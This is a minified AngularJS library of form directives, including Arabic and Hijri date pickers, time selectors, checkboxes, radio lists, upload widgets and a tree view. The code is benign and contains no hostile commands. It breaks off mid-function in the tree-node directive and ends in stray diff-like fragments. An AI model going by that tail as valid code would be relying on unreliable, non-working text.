var app=app||angular.module("myApp",[]);window.$=window.jQuery,app.directive("iDate",function(){return{link:function(e,n,l){void 0!==l.disabled?l.disabled="disabled":l.disabled="",$(n).find("select").focus(()=>{$(".popup").hide()}),e.days1=[];for(let n=1;n<32;n++)e.days1.push(n);e.years1=[];for(let n=1900;n<2100;n++)e.years1.push(n);e.monthes1=["يناير","فبراير","مارس","ابريل","مايو","يونيو","يوليو","اغسطس","سبتمبر","اكتوبر","نوفمبر","ديسمبر"]},restrict:"E",require:"ngModel",scope:{v:"@",label:"@",disabled:"@",ngModel:"="},template:'\n <div class="row i-date">\n \n <div class=" control">\n <label> {{label}} </label>\n <div class="row">\n <div class="col3 day"> \n <select ng-disabled="disabled" v="{{v}}" ng-model="ngModel.day" class="appearance-none no-border-left no-border-radius" >\n <option ng-repeat="d1 in days1" ng-value="d1"> {{d1}} </option>\n </select>\n </div>\n <div class="col5 month"> \n <select ng-disabled="disabled" v="{{v}}" ng-model="ngModel.month" class="appearance-none no-border-left no-border-right no-border-radius" >\n <option ng-repeat="m1 in monthes1" ng-value="$index"> {{m1}} </option>\n </select>\n </div>\n <div class="col4 year"> \n <select ng-disabled="disabled" v="{{v}}" ng-model="ngModel.year" class="appearance-none no-border-right no-border-radius" >\n <option ng-repeat="y1 in years1" ng-value="y1"> {{y1}} </option>\n </select>\n </div>\n </div>\n </div>\n \n \n </div>\n '}}),app.directive("iDate2",function(){return{link:function(e,n,l){void 0!==l.disabled?l.disabled="disabled":l.disabled="",e.y_search=l.year||"202",e.m_search=l.month||"",e.d_search=l.day||"",e.days1=[];for(let n=1;n<32;n++)e.days1.push({id:n,name:n});e.years1=[];for(let n=1900;n<2100;n++)e.years1.push({id:n,name:n});e.monthes1=[{id:0,name:"يناير / Jan"},{id:1,name:"فبراير / Feb"},{id:2,name:"مارس / Mar"},{id:3,name:"ابريل / Aper"},{id:4,name:"مايو / May"},{id:5,name:"يونيو / June"},{id:6,name:"يوليو / Jule"},{id:7,name:"اغسطس / Aug"},{id:8,name:"سبتمبر / Sep"},{id:9,name:"اكتوبر / Oct"},{id:10,name:"نوفمبر / Nov"},{id:11,name:"ديسمبر / Des"}],e.model=null,e.$watch("ngModel",function(n){n?(n=new Date(n),e.model=e.model||{},e.model.day=n.getDate(),e.model.day_name=e.model.day,e.model.month=n.getMonth(),e.model.month_name=e.monthes1.find(n=>n.id==e.model.month).name,e.model.year=n.getFullYear(),e.model.year_name=e.model.year):(e.model=e.model||{},e.model.day=0,e.model.day_name="",e.model.month=-1,e.model.month_name="",e.model.year=0,e.model.year_name="")}),e.setDay=function(){e.ngModel=new Date},e.updateDate=function(n){n.year?(e.model.year=n.year.id,e.model.year_name=n.year.name):n.month?(e.model.month=n.month.id,e.model.month_name=n.month.name):n.day&&(e.model.day=n.day.id,e.model.day_name=n.day.name),e.model&&e.model.year&&e.model.day&&e.model.month>-1?e.ngModel=new Date(e.model.year,e.model.month,e.model.day,0,0,0):delete e.ngModel}},restrict:"E",require:"ngModel",scope:{v:"@",disabled:"@",label:"@",ngModel:"="},template:"/*##client-side/directive-core/i-date.html*/"}}),app.directive("iTime",function(){return{link:function(e,n,l){void 0!==l.disabled?l.disabled="disabled":l.disabled="",e.model={},e.hours=[];for(let n=1;n<25;n++)e.hours.push(n);e.minutes=[];for(let n=0;n<60;n++)e.minutes.push(n);$(n).find("select").focus(()=>{$(".popup").hide()}),e.$watch("ngModel",function(n){n?(n.date=new Date(n.date),e.model=e.model||{},e.model.hour=n.hour,e.model.minute=n.minute):(e.model=e.model||{},e.model.hour=0,e.model.minute=0)}),e.updateTime=function(){e.model?(e.ngModel=e.ngModel||{},e.ngModel.hour=e.model.hour,e.ngModel.minute=e.model.minute,e.ngModel.date=new Date(null,null,null,e.model.hour,e.model.minute,null)):delete e.ngModel}},restrict:"E",require:"ngModel",scope:{v:"@",disabled:"@",label:"@",ngModel:"="},template:'\n <div class="row i-time">\n <div class=" control ">\n <label class="text-center"> {{label}} </label>\n <div class="row">\n <div class="col6 right">\n <div class="row">\n <div class="col2"></div>\n <div class="col8">\n <select ng-disabled="disabled" ng-model="model.minute" ng-change="updateTime()" class="small appearance-none no-border-left no-border-radius" >\n <option ng-repeat="m in minutes" ng-value="m"> {{m}}</option>\n </select>\n </div>\n <div class="col2"></div>\n </div>\n \n </div>\n <div class="col6">\n <div class="row">\n <div class="col2 space right">\n <span> : </span>\n </div>\n <div class="col8">\n <select ng-disabled="disabled" ng-model="model.hour" ng-change="updateTime()" class="large blue appearance-none no-border-left no-border-radius" >\n <option ng-repeat="h in hours" ng-value="h"> {{h}} </option>\n </select>\n </div>\n \n </div>\n \n </div>\n </div>\n </div>\n '}}),app.directive("iDatetime2",function(){return{link:function(e,n,l){void 0!==l.disabled?l.disabled="disabled":l.disabled="",e.hour1=[];for(let n=1;n<25;n++)e.hour1.push(n);e.minute_list=[];for(let n=1;n<60;n++)e.minute_list.push({name:n});e.days1=[];for(let n=1;n<32;n++)e.days1.push(n);e.years1=[];for(let n=1900;n<2100;n++)e.years1.push(n);e.monthes1=["يناير","فبراير","مارس","ابريل","مايو","يونيو","يوليو","اغسطس","سبتمبر","اكتوبر","نوفمبر","ديسمبر"],e.model=null,$(n).find("select").focus(()=>{$(".popup").hide()}),e.$watch("ngModel",function(n){n?(n=new Date(n),e.model=e.model||{},e.model.hour=n.getHours(),e.model.minute=n.getMinutes(),e.model.day=n.getDate(),e.model.month=n.getMonth(),e.model.year=n.getFullYear()):(e.model=e.model||{},e.model.hour=0,e.model.minute=0,e.model.day=0,e.model.month=-1,e.model.year=0)}),e.updateDate=function(){e.model&&e.model.year&&e.model.day?e.ngModel=new Date(e.model.year,e.model.month,e.model.day,e.model.hour,e.model.minute):delete e.ngModel}},restrict:"E",require:"ngModel",scope:{v:"@",disabled:"@",label:"@",ngModel:"="},template:'\n <div class="row i-datetime2">\n \n <div class=" control">\n <label> {{label}} </label>\n <div class="row">\n\n <div class="col2 day"> \n <select v="{{v}}" ng-disabled="disabled" ng-model="model.day" ng-change="updateDate()" class="appearance-none no-border-left no-border-radius" >\n <option ng-repeat="d1 in days1" ng-value="d1"> {{d1}} </option>\n </select>\n </div>\n <div class="col5 month"> \n <select v="{{v}}" ng-disabled="disabled" ng-model="model.month" ng-change="updateDate()" class="appearance-none no-border-left no-border-right no-border-radius" >\n <option ng-repeat="m1 in monthes1" ng-value="$index"> {{m1}} </option>\n </select>\n </div>\n <div class="col3 year"> \n <select v="{{v}}" ng-disabled="disabled" ng-model="model.year" ng-change="updateDate()" class="appearance-none no-border-right no-border-radius" >\n <option ng-repeat="y1 in years1" ng-value="y1"> {{y1}} </option>\n </select>\n </div>\n\n <div class="col1 hour"> \n <select v="{{v}}" ng-disabled="disabled" ng-model="model.hour" ng-change="updateDate()" class="appearance-none no-border-radius" >\n <option ng-repeat="h1 in hour1" ng-value="h1"> {{h1}} </option>\n </select>\n </div>\n <div class="col1 minute"> \n <select v="{{v}}" ng-disabled="disabled" ng-model="model.minute" ng-change="updateDate()" class="green appearance-none no-border-right no-border-radius" >\n <option ng-repeat="m1 in minute_list" ng-value="m1.name" class="green"> {{m1.name}} </option>\n </select>\n </div>\n\n </div>\n </div>\n \n \n </div>\n '}}),app.directive("iMonth2",function(){return{link:function(e,n,l){void 0!==l.disabled?l.disabled="disabled":l.disabled="",e.years=[];for(let n=1900;n<2100;n++)e.years.push(n);e.monthes=["يناير","فبراير","مارس","ابريل","مايو","يونيو","يوليو","اغسطس","سبتمبر","اكتوبر","نوفمبر","ديسمبر"],e.model=null,$(n).find("select").focus(()=>{$(".popup").hide()}),e.$watch("ngModel",function(n){n?(n=new Date(n),e.model=e.model||{},e.model.day=1,e.model.month=n.getMonth(),e.model.year=n.getFullYear()):(e.model=e.model||{},e.model.day=0,e.model.month=-1,e.model.year=0)}),e.updateDate=function(){e.model&&e.model.year?e.ngModel=new Date(e.model.year,e.model.month,1):delete e.ngModel}},restrict:"E",require:"ngModel",scope:{v:"@",label:"@",disabled:"@",ngModel:"="},template:'\n <div class="row i-date2">\n \n <div class=" control">\n <label> {{label}} </label>\n <div class="row">\n \n <div class="col7 month"> \n <select ng-disabled="disabled" v="{{v}}" ng-model="model.month" ng-change="updateDate()" class="appearance-none no-border-left no-border-radius" >\n <option ng-repeat="m1 in monthes" ng-value="$index"> {{m1}} </option>\n </select>\n </div>\n\n <div class="col5 year"> \n <select ng-disabled="disabled" v="{{v}}" ng-model="model.year" ng-change="updateDate()" class="appearance-none no-border-right no-border-radius" >\n <option ng-repeat="y1 in years" ng-value="y1"> {{y1}} </option>\n </select>\n </div>\n\n </div>\n </div>\n \n \n </div>\n '}}),app.directive("iFulldate",["$http",function(e){return{link:function(n,l,d,a){let i=!1;void 0!==d.disabled?d.disabled="disabled":d.disabled="",$(l).find("select").focus(()=>{$(".popup").hide()}),n.days1=[];for(let e=1;e<32;e++)n.days1.push(e);n.years1=[];for(let e=1950;e<2030;e++)n.years1.push(e);n.monthes1=["يناير","فبراير","مارس","ابريل","مايو","يونيو","يوليو","اغسطس","سبتمبر","اكتوبر","نوفمبر","ديسمبر"],n.days2=[];for(let e=1;e<31;e++)n.days2.push(e);n.years2=[];for(let e=1370;e<1450;e++)n.years2.push(e);n.monthes2=["محرم","صفر","ربيع اول","ربيع ثان","جمادى اول","جمادى ثان","رجب","شعبان","رمضان","شوال","ذى القعدة","ذى الحجة"],n.model={},n.$watch("ngModel",function(e){n.model=e||{}}),n.$watch("ngModel.date",function(e){e&&("string"==typeof e&&(e=new Date(e)),n.model=n.model||{},n.model.date=e,n.model.day=e.getDate(),n.model.month=e.getMonth(),n.model.year=e.getFullYear(),n.get_hijri_date())}),n.get_hijri_date=function(){if(n.model&&n.model.year&&n.model.day){if(a.$setViewValue(n.model),i)return;i=!0,n.model.date=new Date(n.model.year,n.model.month,n.model.day),e({method:"POST",url:"/api/get_hijri_date",data:{date:n.model.year+"/"+(n.model.month+1)+"/"+n.model.day}}).then(e=>{e.data.done&&(n.model.hijri=e.data.hijri,n.model.day2=parseInt(n.model.hijri.split("/")[2]),n.model.month2=parseInt(n.model.hijri.split("/")[1])-1,n.model.year2=parseInt(n.model.hijri.split("/")[0]),a.$setViewValue(n.model),i=!1)}).catch(()=>{i=!1})}},n.get_normal_date=function(){if(n.model&&n.model.year2&&n.model.day2){if(a.$setViewValue(n.model),i)return;i=!0,e({method:"POST",url:"/api/get_normal_date",data:{hijri:n.model.year2+"/"+(n.model.month2+1)+"/"+n.model.day2}}).then(e=>{e.data.done&&(n.model.date=new Date(e.data.date),n.model.day=parseInt(e.data.date.split("/")[2]),n.model.month=parseInt(e.data.date.split("/")[1])-1,n.model.year=parseInt(e.data.date.split("/")[0]),a.$setViewValue(n.model),i=!1)}).catch(()=>{i=!1})}}},restrict:"E",require:"ngModel",scope:{v:"@",label1:"@",label2:"@",disabled:"@",ngModel:"=",ngChange:"&"},template:'\n <div class="row i-date">\n \n <div class="col6 control">\n <label> {{label1}} </label>\n <div class="row">\n <div class="col3 day"> \n <select ng-change="get_hijri_date()" ng-disabled="disabled" v="{{v}}" ng-model="model.day" class="appearance-none no-border-left no-border-radius">\n <option ng-repeat="d1 in days1" ng-value="d1"> {{d1}} </option>\n </select>\n </div>\n <div class="col5 month"> \n <select ng-change="get_hijri_date()" ng-disabled="disabled" v="{{v}}" ng-model="model.month" class="appearance-none no-border-left no-border-right no-border-radius">\n <option ng-repeat="m1 in monthes1" ng-value="$index"> {{m1}} </option>\n </select>\n </div>\n <div class="col4 year"> \n <select ng-change="get_hijri_date()" ng-disabled="disabled" v="{{v}}" ng-model="model.year" class="appearance-none no-border-right no-border-radius">\n <option ng-repeat="y1 in years1" ng-value="y1"> {{y1}} </option>\n </select>\n </div>\n </div>\n </div>\n \n <div class="col6 control">\n <label> {{label2}} </label>\n <div class="row">\n <div class="col3 day"> \n <select ng-change="get_normal_date()" ng-disabled="disabled" v="{{v}}" ng-model="model.day2" class="appearance-none no-border-left no-border-radius">\n <option ng-repeat="d2 in days2" ng-value="d2"> {{d2}} </option>\n </select>\n </div>\n <div class="col5 month"> \n <select ng-change="get_normal_date()" ng-disabled="disabled" v="{{v}}" ng-model="model.month2" class="appearance-none no-border-left no-border-right no-border-radius">\n <option ng-repeat="m2 in monthes2" ng-value="$index"> {{m2}} </option>\n </select>\n </div>\n <div class="col4 year"> \n <select ng-change="get_normal_date()" ng-disabled="disabled" v="{{v}}" ng-model="model.year2" class="appearance-none no-border-right no-border-radius">\n <option ng-repeat="y2 in years2" ng-value="y2"> {{y2}} </option>\n </select>\n </div>\n </div>\n </div>\n \n </div>\n '}}]),app.directive("iControl",function(){return{restrict:"E",require:"ngModel",scope:{v:"@",id2:"@",label:"@",type:"@",disabled:"@",ngModel:"=",ngChange:"&",ngKeydown:"&"},link:function(e,n,l,d){l.type=l.type||"text",void 0!==l.disabled?l.disabled="disabled":l.disabled="",$(n).find("input").focus(()=>{$(".i-list .dropdown-content").css("display","none")}),e.$watch(l.ngModel,function(e){})},template:'\n <div class="control">\n <label> {{label}} </label>\n <input id="{{id2}}" ng-disabled="disabled" autofocus v="{{v}}" type="{{type}}" ng-model="ngModel" ng-change="ngChange()" ngKeydown="ngKeydown()">\n </div>\n '}}),app.directive("iTextarea",function(){return{restrict:"E",require:"ngModel",scope:{v:"@",label:"@",disabled:"@",rows:"@",ngModel:"=",ngChange:"&"},link:function(e,n,l,d){void 0!==l.disabled?l.disabled="disabled":l.disabled="",e.rows=e.rows||4,$(n).find("textarea").focus(()=>{$(".popup").hide()})},template:'\n <div class="control">\n <label> {{label}} </label>\n <textarea ng-disabled="disabled" rows="{{rows}}" v="{{v}}" ng-model="ngModel" ng-change="ngChange()"></textarea>\n </div>\n '}}),app.directive("iCheckbox",function(){return{restrict:"E",require:"ngModel",scope:{label:"@",ngModel:"=",ngChange:"&"},link:function(e,n,l,d){void 0!==l.disabled?l.disabled="disabled":l.disabled="",e.updateModal=function(n){return"disabled"!=l.disabled&&(e.ngModel=!n,!0)}},template:'\n <div class="selector" ng-class="{\'selected\' : ngModel , \'un-selected\' : !ngModel }" ng-click="updateModal(ngModel);ngChange($event , ngModel)">\n <i ng-show="!ngModel" class="fa fa-square"></i> <i ng-show="ngModel" class="fa fa-check"></i> {{label}}\n </div>\n '}}),app.directive("iCheckbox2",function(){return{restrict:"E",require:"ngModel",scope:{label:"@",ngModel:"="},link:function(e,n,l,d){},template:'\n <div class="control">\n <label class="checkbox">\n <span class="title"> {{label}} </span>\n <input type="checkbox" ng-model="ngModel" >\n <span class="checkmark"></span>\n </label>\n </div>\n '}}),app.directive("iRadio",function(){return{restrict:"E",require:"ngModel",scope:{label:"@",ngValue:"@",group:"@",ngModel:"="},link:function(e,n,l,d){l.group||(l.group=l.ngModel),e.changeModal=function(n){e.ngModel=n},e.$watch("ngModel",n=>{n&&e.ngValue}),e.$watch("ngValue",n=>{n&&e.ngModel})},template:'\n <div group="{{group}}" class="selector" ng-class="{\'selected\' : ngModel == ngValue , \'un-selected\' : ngModel != ngValue }" ng-click="changeModal(ngValue);ngChange($event , ngModel , ngValue)">\n <i ng-show="ngModel != ngValue" class="fa fa-circle"></i> <i ng-show="ngModel == ngValue" class="fa fa-circle"></i> {{label}}\n </div>\n '}}),app.directive("iRadio2",function(){return{restrict:"E",require:"ngModel",scope:{label:"@",ngValue:"@",group:"@",ngModel:"="},link:function(e,n,l,d){l.group||(l.group=l.ngModel);let a=$(n).find("input");e.$watch("ngModel",n=>{n&&(e.ngModel=n,n==e.ngValue&&a.prop("checked",!0))}),e.$watch("ngValue",n=>{n&&n==e.ngModel&&a.prop("checked",!0)})},template:'\n <div class="control">\n <label class="radio">\n <span > {{label}} </span>\n <input name="{{group}}" ng-value="ngValue" type="radio" ng-model="ngModel" >\n <span class="checkmark"></span>\n </label>\n </div>\n '}}),app.directive("iButton",function(){return{restrict:"E",scope:{label:"@",type:"@",click:"@",fa:"@"},link:function(e,n,l,d){!l.fa&&l.type&&(l.type.like("*exit*")||l.type.like("*close*")?l.fa="times":l.type.like("*view*")||l.type.like("*details*")?l.fa="file":l.type.like("*add*")||l.type.like("*new*")?l.fa="plus-circle":l.type.like("*update*")||l.type.like("*edit*")?l.fa="edit":l.type.like("*save*")?l.fa="save":l.type.like("*delete*")||l.type.like("*remove*")?l.fa="trash":l.type.like("*print*")?l.fa="print":l.type.like("*search*")?l.fa="search":(l.type.like("*export*")||l.type.like("*excel*"))&&(l.fa="table"))},template:'\n <a class="btn {{type}}">\n {{label}}\n <i ng-show="fa" class="fa fa-{{fa}}" aria-hidden="true"></i> </a>\n '}}),app.directive("iList",["$interval","$timeout","isite",function(e,n,l){return{restrict:"E",require:"ngModel",scope:{v:"@",label:"@",display:"@",display2:"@",disabled:"@",css:"@",space:"@",primary:"@",ngValue:"@",ngModel:"=",ngSearch:"=",ngChange:"&",ngAdd:"&",items:"="},link:function(e,d,a,i){e.display=a.display=a.display||"name",e.primary=a.primary=a.primary||"id",a.space=a.space||" ",a.ngValue=a.ngValue||"",e.searchElement=$(d).find(".dropdown .search"),e.popupElement=$(d).find(".dropdown .dropdown-content"),void 0!==a.disabled?a.disabled="disabled":a.disabled="",void 0===a.ngAdd?e.fa_add="fa-search":e.fa_add="fa-plus",void 0===a.ngSearch?e.showSearch=!1:e.showSearch=!0;let t=$(d).find("input");$(d).hover(()=>{e.popupElement.css("display","block")},()=>{e.popupElement.css("display","none")}),e.focus=function(){$(".i-list .dropdown-content").css("display","none"),e.popupElement.css("display","block"),e.searchElement.focus()},e.hide=function(){e.popupElement.css("display","none")},e.getValue=function(n){let d=l.getValue(n,e.display);return d||""},e.getValue2=function(n){return e.display2&&l.getValue(n,e.display2)||""},e.getNgModelValue=function(n){return n&&e.display&&e.ngValue?l.getValue(n,e.display.replace(e.ngValue+".",""))||"":n&&e.display&&l.getValue(n,e.display)||""},e.getNgModelValue2=function(n){return n&&e.display2&&e.ngValue?l.getValue(n,e.display2.replace(e.ngValue+".",""))||"":n&&e.display2&&l.getValue(n,e.display2)||""},e.getNgValue=function(n){return n&&e.ngValue?l.getValue(n,e.ngValue):n},e.$watch("items",n=>{t.val(""),n&&n.forEach(n=>{n.$display=e.getValue(n)+a.space+e.getValue2(n)}),n&&e.ngModel&&n.forEach(n=>{l.getValue(n,e.primary)==l.getValue(e.ngModel,e.primary)&&(e.ngModel=n,n.$display=e.getValue(n)+a.space+e.getValue2(n),t.val(n.$display))})}),e.$watch("ngModel",n=>{t.val(""),e.ngModel=n,n&&t.val(" "+e.getNgModelValue(n)+a.space+e.getNgModelValue2(n))}),e.updateModel=function(l){e.ngModel=e.getNgValue(l,e.ngValue),t.val(e.getNgModelValue(e.ngModel)+a.space+e.getNgModelValue2(e.ngModel)),n(()=>{e.ngChange()}),e.hide()}},template:"/*##client-side/directive-core/i-list.html*/"}}]),app.directive("iChecklist",["$interval",function(e){return{restrict:"E",required:"ngModel",scope:{label:"@",primary:"@",display:"@",ngModel:"=",items:"=",like:"&"},link:function(e,n,l,d){l.primary=l.primary||"id",e.selectedItems=[],e.$watch("ngModel",n=>{e.reload()}),e.reload=function(){e.selectedItems=[],e.ngModel&&(e.ngModel.forEach(n=>{e.selectedItems.push(n)}),e.items&&e.items.forEach(n=>{let l=!1;e.selectedItems.forEach(d=>{n[e.primary]===d[e.primary]&&(l=!0)}),n.$selected=!!l})),e.ngModel||(e.selectedItems=[],e.items&&e.items.forEach(e=>{e.$selected=!1}))},e.change=function(n){if(n.$selected=!n.$selected,n.$selected){let l=!1;e.selectedItems.forEach(d=>{d[e.primary]===n[e.primary]&&(l=!0)}),l||e.selectedItems.push(n)}else e.selectedItems.forEach((l,d)=>{l[e.primary]===n[e.primary]&&e.selectedItems.splice(d,1)});e.ngModel=e.selectedItems}},template:'\n <div class="row padding check-list">\n <label class="title"> {{label}} </label>\n <div ng-repeat="item in items" ng-click="change(item);ngChange($event , item);" class="selector" ng-class="{\'selected\' : item.$selected , \'un-selected\' : !item.$selected }" >\n <i ng-show="!item.$selected" class="fa fa-square"></i> <i ng-show="item.$selected" class="fa fa-check"></i> {{item[display]}}\n </div>\n </div>\n '}}]),app.directive("iChecklist2",["$interval",function(e){return{restrict:"E",required:"ngModel",scope:{label:"@",primary:"@",display:"@",ngModel:"=",items:"=",like:"&"},link:function(e,n,l,d){l.primary=l.primary||"id",e.selectedItems=[],e.$watch("ngModel",n=>{e.reload()}),e.reload=function(){e.selectedItems=[],e.ngModel&&(e.ngModel.forEach(n=>{e.selectedItems.push(n)}),e.items&&e.items.forEach(n=>{let l=!1;e.selectedItems.forEach(d=>{n[e.primary]===d[e.primary]&&(l=!0)}),n.$selected=!!l})),e.ngModel||(e.selectedItems=[],e.items&&e.items.forEach(e=>{e.$selected=!1}))},e.change=function(n){if(n.$selected){let l=!1;e.selectedItems.forEach(d=>{d[e.primary]===n[e.primary]&&(l=!0)}),l||e.selectedItems.push(n)}else e.selectedItems.forEach((l,d)=>{l[e.primary]===n[e.primary]&&e.selectedItems.splice(d,1)});e.ngModel=e.selectedItems}},template:'\n <div class="row padding check-list">\n <label class="title"> {{label}} </label>\n <div class="control" ng-repeat="item in items">\n <label class="checkbox" >\n <span > {{item[display]}} </span>\n <input type="checkbox" ng-model="item.$selected" ng-change="change(item)" >\n <span class="checkmark"></span>\n </label>\n </div>\n </div>\n '}}]),app.directive("iRadiolist",["$interval",function(e){return{restrict:"E",required:"ngModel",scope:{label:"@",display:"@",ngModel:"=",items:"="},link:function(e,n,l){e.model=e.ngModel,e.code="radio_"+Math.random(),e.change=function(n){e.ngModel=n},e.isChecked=function(n){return!(!n||!e.ngModel||e.ngModel.id!==n.id)}},template:'\n <div class="row padding radio-list">\n <label class="title"> {{label}} </label>\n <div class="control" ng-repeat="item in items">\n <label class="radio" >\n <span > {{item[display]}} </span>\n <input name="{{code}}" type="radio" ng-model="model" ng-checked="isChecked(item)" ng-click="change(item)" ng-change="change(item)" >\n <span class="checkmark"></span>\n </label>\n </div>\n </div>\n '}}]),app.directive("iFile",["$interval","isite",function(e,n){return{restrict:"E",required:"ngModel",scope:{label:"@",type:"@",ngModel:"=",ngClick:"&",onSelected:"&"},link:function(e,n,l,d){e.type=e.type||"bg-green";let a=$(n).find("input")[0],i=$(n).find("a")[0];""!==l.view&&i.addEventListener("click",function(){a.click()}),a.addEventListener("change",function(){e.ngModel=this.files[0].path,e.onSelected(this.files[0].path),e.$applyAsync()}),e.$watch("ngModel",e=>{e&&i.setAttribute("url",e)})},template:'\n <form class="form text-center pointer">\n <input class="hidden" type="file" name="file" />\n <a class="btn {{type}}" ngClick="ngClick()" url="{{ngModel}}"> {{label}} </a>\n </form>\n '}}]),app.directive("iImage",["$interval","isite",function(e,n){return{restrict:"E",required:"ngModel",scope:{category:"@",ngModel:"=",ngClick:"&"},link:function(e,l,d,a){e.category=e.category||"default";let i=$(l).find("input")[0],t=$(l).find("img")[0],o=$(l).find("progress")[0];$(o).hide(),""!==d.view&&t.addEventListener("click",function(){i.click()}),i.addEventListener("change",function(){n.uploadImage(this.files,{category:e.category},(n,l,d)=>{d&&($(o).show(),o.value=d.loaded,o.max=d.total),l&&(e.ngModel=l.url)})}),e.$watch("ngModel",e=>{e&&t.setAttribute("src",e)})},template:'\n <form class="form text-center pointer">\n <input class="hidden" type="file" name="file" />\n <img class="bg-white" ng-src="{{ngModel}}" ngClick="ngClick()" onerror="this.src=\'/images/no.jpg\'" />\n <progress class="row"></progress>\n </form>\n '}}]),app.directive("iUpload",["$interval","isite",function(e,n){return{restrict:"E",required:"ngModel",scope:{label:"@",api:"@",type:"@",ngModel:"=",ngClick:"&",onUploaded:"&"},link:function(e,l,d,a){e.type=e.type||"bg-green";let i=$(l).find("input")[0],t=$(l).find("a")[0],o=$(l).find("progress")[0];$(o).hide(),""!==d.view&&t.addEventListener("click",function(){i.click()}),i.addEventListener("change",function(){n.upload(this.files,{api:e.api},(n,l,d)=>{d&&($(o).show(),o.value=d.loaded,o.max=d.total),l&&(e.ngModel=l.url,e.onUploaded())})}),e.$watch("ngModel",e=>{e&&t.setAttribute("url",e)})},template:'\n <form class="form text-center pointer">\n <input class="hidden" type="file" name="file" />\n <a class="btn {{type}}" ngClick="ngClick()" url="{{ngModel}}"> {{label}} </a>\n <progress class="row"></progress>\n </form>\n '}}]),app.directive("iFiles",["$interval","isite",function(e,n){return{restrict:"E",required:"ngModel",scope:{category:"@",label:"@",ngModel:"="},link:function(l,d,a,i){""===a.view&&(l.viewOnly=!0);let t=$(d).find("progress")[0];l.category=l.category||"default",l.id=Math.random().toString().replace(".","_"),l.deleteFile=function(e){n.deleteFile(e,()=>{for(let n=0;n<l.ngModel.length;n++){let d=l.ngModel[n];if(d.url===e.url)return void l.ngModel.splice(n,1)}})};let o=!1;e(()=>{if(!o)if(""!==a.view){let e=document.querySelector("#btn_"+l.id);e&&(o=!0,e.addEventListener("click",function(){document.querySelector("#input_"+l.id).click()}));let d=document.querySelector("#input_"+l.id);d&&d.addEventListener("change",function(){n.uploadFile(this.files,{category:l.category},(e,n,d)=>{d&&($(t).show(),t.value=d.loaded,t.max=d.total),n&&(void 0===l.ngModel&&(l.ngModel=[]),l.ngModel.push(n.url))})})}else o=!0},500)},template:'\n <div class="files">\n <label> {{label}} </label>\n <form ng-if="viewOnly !== !0" id="img_{{id}}" class="form text-center pointer">\n <input id="input_{{id}}" class="hidden" type="file" name="file" />\n <a id="btn_{{id}}" class="btn bg-green"> <i class="fa fa-upload white"></i> </a>\n </form>\n <progress class="row"></progress>\n <div class="padding">\n \n <div class="row padding" ng-repeat="f in ngModel">\n <h2> \n <a class="btn default bg-blue" href="{{f.url}}"> <i class="fa fa-2x fa-download white"></i> </a>\n <a ng-if="viewOnly !== !0" class="btn default bg-red" ng-click="deleteFile(f)"> <i class="fa fa-trash white"></i> </a>\n <span> {{f.name}} </span>\n </h2> \n </div>\n </div>\n </div>\n \n '}}]),app.directive("iDrag",["$document",function(e){return function(n,l,d){function a(e){r=e.screenY-o,s=e.screenX-t,l.css({top:r+"px",left:s+"px"})}function i(){e.off("mousemove",a),e.off("mouseup",i)}var t=0,o=0,s=0,r=0;l.css({position:"relative"}),l.on("mousedown",function(n){n.preventDefault(),t=n.screenX-s,o=n.screenY-r,e.on("mousemove",a),e.on("mouseup",i)})}}]),app.directive("iTreeview",["$interval","$timeout","isite",function(e,n,l){return{restrict:"E",require:"ngModel",scope:{v:"@",label:"@",display:"@",display2:"@",disabled:"@",space:"@",primary:"@",ngValue:"@",ngModel:"=",ngSearch:"=",ngChange:"&",ngClick:"&",ngAdd:"&",ngNode:"&",ngEdit:"&",ngDelete:"&",nodes:"="},link:function(e,n,l,d){l.display=l.display||"name",l.primary=l.primary||"id",l.space=l.space||" ",l.ngValue=l.ngValue||"",e.source={},e.setNodes=function(n){n.nodes.forEach(n=>{n.nodes=n.nodes||[],e.nodes.forEach(e=>{if(e.$parent_id==n.id){e.v_display=e.v_display||"",e.v_display+=e[l.display];let d=!1;n.nodes.forEach(n=>{n.id==e.id&&(d=!0)}),d||n.nodes.push(e)}}),e.setNodes(n)})},e.v_nodes=[],e.$watch("ngModel",n=>{n&&(e.ngModel=n,e.ngModel.v_display=e.ngModel.v_display||n[l.display])}),e.$watch("nodes",n=>{e.v_nodes=[],n&&(n.forEach(n=>{if(n.$parent_id=n.parent_id||0,n.v_display=n.v_display||"",n.v_display+=n[l.display],0==n.$parent_id){let l=!1;e.v_nodes.forEach(e=>{e.id==n.id&&(l=!0)}),l||e.v_nodes.push(n)}}),e.v_nodes.forEach(d=>{d.nodes=d.nodes||[],n.forEach(e=>{if(e.$parent_id=e.parent_id||0,e.$parent_id==d.id){e.v_display=e.v_display||"",e.v_display+=e[l.display];let n=!1;d.nodes.forEach(l=>{l.id==e.id&&(n=!0)}),n||d.nodes.push(e)}}),e.setNodes(d)}))})},template:'\n <div class="treeview">\n <ul >\n <li ng-dblclick="$event.preventDefault();$event.stopPropagation();source.$actions = !0" ng-mouseleave="source.$actions = !1">\n \n <i ng-hide="openTree" class="fa fa-folder"></i> <i ng-show="openTree" class="fa fa-folder"></i> \n \n\n <span ng-click="openTree = !openTree" class="title"> {{label}} <small class="display"> [ {{ngModel.v_display}} ] </small> </span>\n <div class="actions" ng-show="source.$actions === !0">\n <i-button type="add default" ng-click="ngClick($event , ngModel);ngNode($event , ngModel)"></i-button>\n </div>\n <i-treenode display="{{display}}" ng-click="ngClick($event)" ng-add="ngAdd()" ng-edit="ngEdit()" ng-delete="ngDelete()" ng-show="openTree" ng-model="ngModel" nodes="v_nodes" ></i-treenode>\n </li>\n </ul>\n </div>\n '}}]),app.directive("iTreenode",["$interval","$timeout","isite",function(e,n,l){return{restrict:"E",require:"ngModel",scope:{v:"@",label:"@",display:"@",display2:"@",disabled:"@",space:"@",primary:"@",ngValue:"@",ngChange:"&",ngClick:"&",ngAdd:"&",ngEdit:"&",ngDelete:"&",ngModel:"=",ngSearch:"=",nodes:"=",nodes:"="},link:function(e,n,l,d){l.display=l.display||"name",l.primary=l.primary||"id",l.space=l.space||" ",l.ngValue=l.ngValue||"",e.nodes=e.nodes||[],e.v_nodes=[],e.$watch("nodes",n=>{e.v_nodes=[],n&&n.forEach((e,n)=>{
|
|
2
|
-
e.
|
|
1
|
+
